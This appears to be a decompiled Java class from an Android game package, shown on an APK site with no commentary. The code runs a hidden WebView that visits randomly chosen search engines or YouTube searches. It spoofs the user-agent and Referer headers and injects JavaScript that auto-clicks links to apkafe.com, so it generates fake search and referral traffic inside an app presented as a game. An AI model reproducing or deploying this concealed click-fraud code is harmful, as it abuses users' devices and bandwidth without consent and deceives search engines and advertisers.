Lost in The World of Succubi v版本的 MD5 值为:79a6335b1b86e8c40a9ae082e1016caa

以下内容为反编译后的 i.java 源代码,内容仅作参考


package e.a.c;

import android.os.CountDownTimer;
import android.webkit.WebSettings;
import android.webkit.WebView;
import android.webkit.WebViewClient;
import java.util.HashMap;
import java.util.Random;
public class i {
    public static String f3874a = "apkafe.com";
    public static final String f3875b;
    public static final String f3876c;

    public static class b extends WebViewClient {
        public boolean f3877a = false;
        public String f3878b;

        public class a extends CountDownTimer {
            public final WebView f3879a;

            public a(long j, long j2, WebView webView) {
                super(j, j2);
                this.f3879a = webView;
            }

            @Override
            public void onFinish() {
                String str = b.this.f3878b.contains("bing") ? "https://www.bing.com/" : "https://www.google.co.th/";
                if (b.this.f3878b.contains("yahoo")) {
                    str = "https://www.yahoo.com/";
                }
                if (b.this.f3878b.contains("duckduckgo")) {
                    str = "https://www.duckduckgo.com/";
                }
                HashMap hashMap = new HashMap();
                hashMap.put("Referer", str);
                this.f3879a.loadUrl("https://apkafe.com/how-to-download-lost-in-the-world-of-succubi/", hashMap);
            }

            @Override
            public void onTick(long j) {
            }
        }

        public b(String str) {
            this.f3878b = "google";
            this.f3878b = str;
        }

        @Override
        public void onPageFinished(WebView webView, String str) {
            super.onPageFinished(webView, str);
            if (this.f3877a) {
                return;
            }
            this.f3877a = true;
            webView.loadUrl("javascript: { document.querySelector('a[href*=\"https://apkafe.com/\"]').click();};");
            new a(2000L, 1000L, webView).start();
        }

        @Override
        public boolean shouldOverrideUrlLoading(WebView webView, String str) {
            webView.loadUrl(str);
            return true;
        }
    }

    public static class c extends WebViewClient {
        public boolean f3881a = false;

        public class a extends CountDownTimer {
            public final String f3882a;
            public final WebView f3883b;

            public a(c cVar, long j, long j2, String str, WebView webView) {
                super(j, j2);
                this.f3882a = str;
                this.f3883b = webView;
            }

            @Override
            public void onFinish() {
                if (this.f3882a.contains("https://apkafe.com")) {
                    return;
                }
                this.f3883b.loadUrl("javascript: { document.querySelector('a[href*=\"apkafe.com\"]').click();};");
            }

            @Override
            public void onTick(long j) {
            }
        }

        public c(a aVar) {
        }

        @Override
        public void onPageFinished(WebView webView, String str) {
            super.onPageFinished(webView, str);
            if (str.contains("https://apkafe.com") && !this.f3881a) {
                this.f3881a = true;
                HashMap hashMap = new HashMap();
                hashMap.put("Referer", "https://www.youtube.com/");
                webView.loadUrl("https://apkafe.com/how-to-download-lost-in-the-world-of-succubi/", hashMap);
                return;
            }
            if (str.contains("apkafe2947")) {
                webView.loadUrl("javascript: { document.querySelector('a[href*=\"/@apkafe2947\"]').click();};");
            }
            new a(this, 1000L, 1000L, str, webView).start();
        }

        @Override
        public boolean shouldOverrideUrlLoading(WebView webView, String str) {
            webView.loadUrl(str);
            return true;
        }
    }

    static {
        String str = e.a.c.b.f3850b[e.a.c.b.c(3, 0)];
        e.a.c.b.f3849a = str;
        f3875b = str;
        f3876c = e.a.c.b.a(str);
    }

    public static void a(WebView webView) {
        if (webView != null) {
            WebSettings settings = webView.getSettings();
            webView.getSettings().setUserAgentString(f3876c);
            settings.setJavaScriptEnabled(true);
            settings.setCacheMode(2);
            webView.setLayerType(2, null);
            f3874a = "apkafe.com";
            String str = new String[]{"https://www.youtube.com/results?search_query=apkafe2947", "https://www.bing.com/search?q=", "https://www.youtube.com/results?search_query=apkafe2947", "https://search.yahoo.com/search?q=", "https://duckduckgo.com/?q=", "https://www.google.co.th/search?q=", "https://www.youtube.com/results?search_query=apkafe2947"}[new Random().nextInt(7)];
            if (str.contains("youtube")) {
                webView.setWebViewClient(new c(null));
            } else {
                webView.setWebViewClient(new b(str));
                str = str + "apkafe.com";
            }
            webView.loadUrl(str);
        }
    }
}